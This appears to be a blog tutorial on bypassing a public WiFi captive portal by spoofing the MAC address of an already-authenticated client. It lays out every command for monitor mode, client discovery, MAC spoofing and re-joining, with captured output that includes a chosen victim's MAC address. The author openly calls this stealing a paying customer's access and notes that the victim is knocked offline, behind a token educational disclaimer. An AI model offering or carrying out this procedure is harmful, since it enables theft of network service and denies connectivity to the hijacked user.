How to Bypass Public WiFi Landing Page

If you happen to travel to hotels, airports, malls, or starbucks. You often notice Free Wifi hotspots, usually these hotspots are open without authentication. Such hotspots are designed to automatically redirect clients to a landing page that requires authentication either via a preshared password or some personal details such as your email or phone no.

If you are like me, I hate paying or giving out unnecessary info to these hotspots for security reasons. You might like what I am about to share with you. Here is a simple technique to bypass the landing page. Basically landing pages are authentication gateways, with valid credentials, your MAC/Physical address will be allowed thru. As long as your MAC/Physical address doesn't change, you will be granted access to the Web.

Simple Bypass Technique
For this technique to work, you will need to spoof your MAC addr. Firstly, you will need to identify a  connected *cough* paying *cough* client that is already connected to the hotspot, then steal his MAC/Physical addr by spoofing the addr.

Here are the steps, you will need Linux with airmon, macchanger and airodump-ng. I use Kali and all of it are bundled.

Start the monitoring on wlan0:
# airmon-ng start wlan0

Your wlan0 should go into monitoring mode, now you can check for valid SSIDs:
# airodump-ng wlan0mon

CH 11 ][ Elapsed: 36 s ][ 2018-04-04 22:37                                       
                                                                                             
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                             
 40:E3:D6:23:A3:C0   -1        0        2    0   6  -1   OPN              <length:  0>       
 40:E3:D6:23:E2:61   -1        0        3    0   6  -1   OPN              <length:  0>       
 F0:5C:19:85:65:62  -53       26       29    0   6  54e. OPN              WE WiFi             
 F0:5C:19:85:65:63  -53       27        0    0   6  54e. OPN              aamra WiFi         
 F0:5C:19:85:65:60  -53       33        0    0   6  54e. WPA2 CCMP   PSK  <length:  0>       
 F0:5C:19:85:65:61  -54       28      402    0   6  54e. OPN              SKYLOUNGE           
 40:16:7E:BA:44:10  -62       35       17    0  11  54e  WPA2 CCMP   PSK  K-LOUNGE             
 E0:91:F5:7D:E7:A4  -65       22        0    0   6  54e  WPA2 CCMP   PSK  icon_Lounge_Wi-Fi   
 00:6C:BC:EE:8A:E3  -65       32        1    0  11  54e  WPA2 CCMP   PSK  MTB-AIR-LOUNGE WI-FI 
 88:D7:F6:04:C5:50  -71       18      171    0   6  54e  WPA2 CCMP   PSK  EK_SALES01           
 DA:0F:99:1C:E1:55  -73       15        0    0   6  54e  WPA2 CCMP   PSK  DIRECT-RC-BRAVIA

I'm going to target aamra WIFI. Firstly, connect to the SSID:
# airodump-ng --bssid 'F0:5C:19:85:65:63' wlan0mon

From here, take note of the clients that are already connected, chose your victim to hijack:

CH  7 ][ Elapsed: 24 s ][ 2018-04-04 23:05                                       
                                                                                             
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                             
 F0:5C:19:85:65:63  -59       24       99    2   6  54e. OPN              aamra WiFi         
                                                                                             
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                   
                                                                                             
 F0:5C:19:85:65:63  70:8B:CD:0B:CC:42  -32    0e- 6e    69      101


You can stop monitoring the Wifi:
# airmon-ng stop wlan0mon

Now change your MAC addr, first bring the wlan0 down :
# ifconfig wlan0 down

Now change your MAC addr and bring it back up:
# macchange -m 70:8B:CD:0B:CC:42 wlan0

Current MAC:   f8:34:41:5d:89:ce (unknown)
Permanent MAC: f8:34:41:5d:89:ce (unknown)
New MAC:       70:8b:cd:0b:cc:42 (unknown)

# ifconfig wlan0 up
# ifconfig wlan0
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.208.113.56  netmask 255.255.240.0  broadcast 10.208.127.255
        ether 70:8b:cd:0b:cc:42  txqueuelen 1000  (Ethernet)
        RX packets 41  bytes 8537 (8.3 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 75  bytes 12831 (12.5 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Get a new IP addr:
# dhclient wlan0

And you are now good to go!! I recommend to keep a continuous ping to an Internet addr to keep your connection alive. The hijacked victim will not be able to connect unless you stopped communicating.

There are other fancier techniques such as tunneling thru DNS or ICMP traffic, perhaps I can cover that in the future.

Enjoy! ;-)

*Disclaimer: I take no responsibility for any unlawful or legal repercussion that might occur as a result of your action. This post is intended for educational purposes only.